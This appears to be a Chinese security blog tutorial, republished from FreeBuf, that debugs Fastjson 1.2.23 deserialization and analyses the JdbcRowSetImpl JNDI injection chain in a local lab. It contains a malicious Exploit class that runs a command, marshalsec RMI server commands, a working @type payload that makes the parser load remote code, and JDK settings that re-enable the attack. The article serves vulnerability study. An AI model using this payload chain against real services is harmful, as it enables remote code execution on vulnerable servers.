前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >利用JdbcRowSetImpl链对Fastjson1.2.23Jndi注入

利用JdbcRowSetImpl链对Fastjson1.2.23Jndi注入

作者头像
FB客服
发布2022-11-14 15:07:53
2550
发布2022-11-14 15:07:53
举报
文章被收录于专栏:FreeBuf

Fastjson介

Fastjson是一个Java语言编写的高性能功能完善的JSON库。它采用一种“假定有序快速匹配”的算法,把JSON Parse的性能提升到极致,是目前Java语言中最快的JSON库。Fastjson接口简单易用,已经被广泛使用在缓存序列化、协议交互、Web输出、Android客户端等多种应用场景。

主要特点: 1.快速FAST (比其它任何基于Java的解析器和生成器更快,包括jackson)

2.强大(支持普通JDK类包括任意Java Bean Class、Collection、Map、Date或enum)

3.零依赖(除了JDK没有依赖其它任何类库)

Fastjson实验环境搭建

Fastjson版本1.2.23下载地址

https://repo1.maven.org/maven2/com/alibaba/fastjson/

https://mvnrepository.com/artifact/com.alibaba/fastjson/1.2.23

jdk1.8.151下载地址

https://repo.huaweicloud.com/java/jdk/8u151-b12/根据系统选择版本我使用IDEA进行代码调试

1.使用Idea新建一个项目

2.pom.xml中添加FastJson版本依赖

依赖代码如下

代码语言:javascript
复制
<dependencies>
<!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.23</version>
</dependency>
</dependencies>
(向右滑动,查看更多)

Fastjson简单使用

1.定义一个User类

代码如下:里面包含getName(),setName(),getAge(),sestAge()

代码语言:javascript
复制
public class User {
private String name;
private int age;

public User() {}

public User(String name, int age) {
this.name = name;
this.age = age;
}

public String getName() {
return name;
}

public void setName(String name) {
        this.name = name;
        System.out.println("setName");
        System.out.println(this.name);

}

public int getAge() {
return age;
}

public void setAge(int age) {
        this.age = age;
        System.out.println("setName");
        System.out.println(this.age);
}
}
(向右滑动,查看更多)

2.新建一个test类,用于测试执行解析过程

代码语言:javascript
复制


import com.alibaba.fastjson.*;
public class test {
public static void main(String[] argv){
testJdbcRowSetImpl();
}
public static void testJdbcRowSetImpl(){
String str = "{\"@type\":\"User\",\"name\":\"cmd\"}";
Object obj1 = JSON.parseObject(str);
}
}
(向右滑动,查看更多)

Fastjson解析过程调试分析

调试开始

在此次设置断点,点击debug开始调试

按f7步入进入pareseObject后再进入parse方法

进入parse方法

进入重载parse方法

跟进DefaultJSONParser构建方法

该类主要是设置一些参数input,config,symbolTable和token。

返回到json类,继续向下执行parser.parse()

根据token=12跳转到该行,跟进new JSONObject

此处是根据传进来的ordered值去判断使用链表哈希还是哈希。传入值为false所以使用HashMap.

执行完成后返回到case条件中,继续跟进parseObject()

进入判断首字符是否为",然后读取双引号内容为@type赋值为key.

此处判断key是否等于@type,获取需要反序列化类名称,并加载类。

进入loadClass,前面逻辑不满足,一直步入到1032行,加载User类,并将className和clazz存入mapping中

返回到DefaultJSONParser类中继续执行,走到367行,跟进config.getDeserializer方法

进入判断type为Class的实例对象,进入重载的getDeserializer方法。

向下执行到360行,该处获取类名并将$替换为.并判断类名是否在denylist中。denylist只有java.lang.Thread类。继续向下执行。

此处判断clazz是否为num,array等,最终判断到457行,进入关键的createJavaBeanDeserializer方法

跟进createJavaBeanDeserializer,进入一系列判断,执行到522关键代码JavaBeanInfo.build.

跟进JavaBeanInfo.build

declaredFields获取变量名,methods获取类方法

向下执行遇到3个for循环。

第一个for循环是用来获得满足条件的set方法

1.函数名长度大于4

2.非静态函数

3.返回类型为void

4.当前类参数个数为1个的方法

第二个for循环是用来判断类定义的变量是否在public和static类型或属于Collection、Map的实现类或为AtomicBoolean AtomicInteger AtomicLong类

第三个for循环是用来判断满足条件的get方法

1、方法名长度大于等于4

2、方法名以get开头

3、方法名第4个字母为大写

4、无需传参

5、返回值类型为Collection、Map的实现类或为AtomicBoolean AtomicInteger AtomicLong

最后满足条件的方法有,setName和setAge

在第538行将获取到的方法构建一个JavaBeanInfo并返回。

跳转出JavaBeanInfo类,继续在Parseconfig类中执行

第533行进入for循环判断beanInfo.fields中的name和age类的类型。

继续执行跳转到Parseconfig类第460行最后返回一个Fastjson反序列化器

向下执行跳转到DefaultJSONParser类第368行,跟进deserializer.deserialze方法,由于进入了上一步的反序列化器,这部分代码由于是动态生成的所以无法调试。

F8步出,可观察到控制台输入了setName和cmd,这段设置值的过程等会我们通过JdbcRowSetImpl链来分析

小结

Json.parse()

根据text, ParserConfig.getGlobalInstance(), features创建并初始化DefaultJSONParer解析器。实例参数如图下图

DefaultJSONParser.parse()

根据lexer.token()值进入到case 12,初始化了一个JSONObject对象,并将其储存在Hashmap中

DefaultJSONParser.parseObject()

这里是根据获取到的@type值,进入到TypeUtils.loadClass去加载@type后面跟的类。

TypeUtils.loadClass根据传入的类名去加载类

进入到config.getDeserializer,判断类名是否在denylist中,进入createJavaBeanDeserializer

createJavaBeanDeserializer进入JavaBeanInfo.build,JavaBeanInfo.build主要是获得满足条件的set,get方法。

最后在deserializer.deserialze触发setvalue后使用invoke方法去set值。

JdbcRowSetImpl链调用分析

1.生成恶意类

代码语言:javascript
复制
public class Exploit {
public Exploit() {
    try {
        Runtime.getRuntime().exec("calc");
    } catch (Exception var2) {
        var2.printStackTrace();
    }

}

public static void main(String[] var0) {
    new Exploit();
}

}`

(向右滑动,查看更多)

将其编译成.class文件,

操作如下进入到Exploit所在文件夹内,打开控制台,输入javac Exploit.java 即可完成编译。

2.启动相关服务

启动http

进入到Exploit所在文件夹内,打开控制台,输入

python -m http.server 8000我python版本为3

启动RMI

进入到marshalsec-0.0.3-SNAPSHOT-all.jar所在文件夹内,输入

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer

"http://127.0.0.1:8000/#Exploit"1389

payload:String str = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1389/Exploit\",\"autoCommit\":false}";

RMI利用前提

JDK 6u132, JDK 7u122, JDK 8u113 之前可用,之后的版本需要在解析payload前加上如下代码

代码语言:javascript
复制
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true"); 
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");

(向右滑动,查看更多)

开始调试,我们跳过之前的步骤,直接进入到deserializer.deserialze到parseField下断点

跟进进入到这个函数

继续跟进,进入到setValue中,反射调用setDataSourceName()方法

进入JdbcRowSetImpl中setDataSourceName()

返回后继续执行setvalue()方法会去反射调用setAutocommit()

在setAutocommit()中会去调用connect()方法,然后进入到Initialcontext#lookup()触发JNDI注入。

参考文章:

https://blog.csdn.net/q20010619/article/details/123155767https://www.anquanke.com/post/id/239867#h2-0

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-11-03,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Fastjson介
  • Fastjson实验环境搭建
    • 1.使用Idea新建一个项目
      • 2.pom.xml中添加FastJson版本依赖
      • Fastjson简单使用
        • 1.定义一个User类
          • 2.新建一个test类,用于测试执行解析过程
          • Fastjson解析过程调试分析
            • 调试开始
              • 小结
              • JdbcRowSetImpl链调用分析
              • (向右滑动,查看更多)
                • 2.启动相关服务
                • (向右滑动,查看更多)
                相关产品与服务
                文件存储
                文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
                领券
                问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档